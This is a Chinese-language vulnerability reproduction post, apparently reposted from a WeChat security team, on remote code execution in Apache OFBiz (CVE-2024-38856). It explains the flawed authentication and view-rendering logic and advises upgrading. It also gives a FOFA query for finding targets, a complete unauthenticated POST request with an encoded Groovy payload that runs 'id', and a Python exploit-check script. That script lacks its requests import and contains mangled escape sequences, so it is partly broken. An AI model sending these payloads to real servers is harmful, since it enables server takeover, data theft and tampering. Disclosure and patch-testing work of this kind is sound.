(CVE-2024-38856)
app="Apache_OFBiz"
【影响版本】
Apache OFBiz < 18.12.14
【漏洞分析】
-
身份验证机制缺陷:正常情况下,应用系统应该对用户进行严格的身份验证,确保只有经过授权的用户才能访问敏感功能和执行关键操作。但在 CVE-2024-38856 中,身份验证机制存在漏洞,导致未经身份验证的用户也能够访问到原本需要身份验证的功能和操作。这是该漏洞的一个基础问题,为后续的攻击行为提供了可能性。 -
视图渲染逻辑缺陷:Apache OFBiz 在处理视图渲染时存在逻辑漏洞。视图渲染是将数据和页面模板结合起来生成最终用户看到的页面的过程。该漏洞使得攻击者可以通过构造特殊的请求来干扰这个过程,覆盖最终的渲染视图。
-
Apache OFBiz 的org.apache.ofbiz.webapp.control.ControlServlet会处理所有以/control/开头的路由。当接收到一个请求时,首先会进入ControlServlet的doPost方法,该方法会将请求转换为doGet请求进行处理。 -
在doGet方法中,会利用RequestHandler来进一步处理请求。RequestHandler在处理请求时会依次获取路由相关的参数,如应用程序名称、请求 URI、覆盖视图 URI 等。 -
经过一系列获取参数的操作后,会调用resolveURI方法返回路由对应的配置信息。这里存在的问题是,部分路由的配置信息没有正确地设置访问权限,导致一些本应需要身份验证的端点可以被未经身份验证的用户访问。 -
构造特殊 URL 进行攻击:攻击者利用上述漏洞,构造特殊的 URL 来发起请求。通过在 URL 中包含特定的参数和指令,能够覆盖原本的渲染视图。例如,攻击者可以构造一个包含恶意代码的请求,将其作为参数传递给系统。当系统处理这个请求时,由于漏洞的存在,会将攻击者构造的恶意代码作为视图的一部分进行渲染和执行,从而实现远程代码执行。
-
安全研究人员在分析 CVE-2024-36104(一个路径遍历漏洞)的修补过程中发现了 CVE-2024-38856。这表明系统中可能存在一些相互关联的代码逻辑或功能模块,一个漏洞的修复可能会影响到其他部分的功能,从而引发新的漏洞。在这种情况下,对 CVE-2024-36104 的修复可能导致了系统在处理视图渲染和身份验证方面的逻辑发生了变化,进而暴露了 CVE-2024-38856 这个新的漏洞。 -
总的来说,CVE-2024-38856 漏洞是由于 Apache OFBiz 系统在身份验证和视图渲染方面的代码逻辑存在缺陷,使得未经身份验证的攻击者可以通过构造特殊的 URL 来覆盖渲染视图并执行任意代码。该漏洞的影响范围较大,危害严重,可能导致敏感信息泄露、数据被篡改或系统被攻击者完全控制等后果。建议用户尽快升级到 Apache OFBiz 的最新版本(18.12.15 及以上)来修复该漏洞
【漏洞复现】
1. 访问如下POST请求即可
POST /webtools/control/main/ProgramExport HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 260 groovyProgram=u0074u0068u0072u006fu0077u0020u006eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006fu006eu0028u0027u0069u0064u0027u002eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002eu0074u0065u0078u0074u0029u003b
参数值解码后内容为:throw new Exception('id'.execute().text);
POC/EXP为:
import sys
import argparse
import base64
import urllib3
#Suppressing warnings related to insecure web requests in Python
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def checkVuln(targetURL):
# Check if URL starts with http:// or https://
if not (targetURL.startswith("http://") or targetURL.startswith("https://")):
print("Error: URL must start with http:// or https://")
sys.exit()
checkurl = f"{targetURL}webtools/control/forgotPassword/ProgramExport?groovyProgram=throw+new+Exception('id'.execute().text)"
response = requests.get(checkurl, timeout=7, verify=False)
if response.status_code == 200 and 'uid=0' in response.text:
print("�33[92m * Target is Vulnerable! �33[0m n")
else:
print("Target is not vulnerable or not reachable :(")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-38856")
parser.add_argument("url", help="The target URL")
args = parser.parse_args()
try:
return(checkVuln(args.url))
except Exception as e:
sys.exit(f"Some error occured: {e}")
if __name__ == "__main__":
main()
原文始发于微信公众号(东方隐侠安全团队):漏洞复现|Apache OFBiz代码执行漏洞(CVE-2024-38856)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论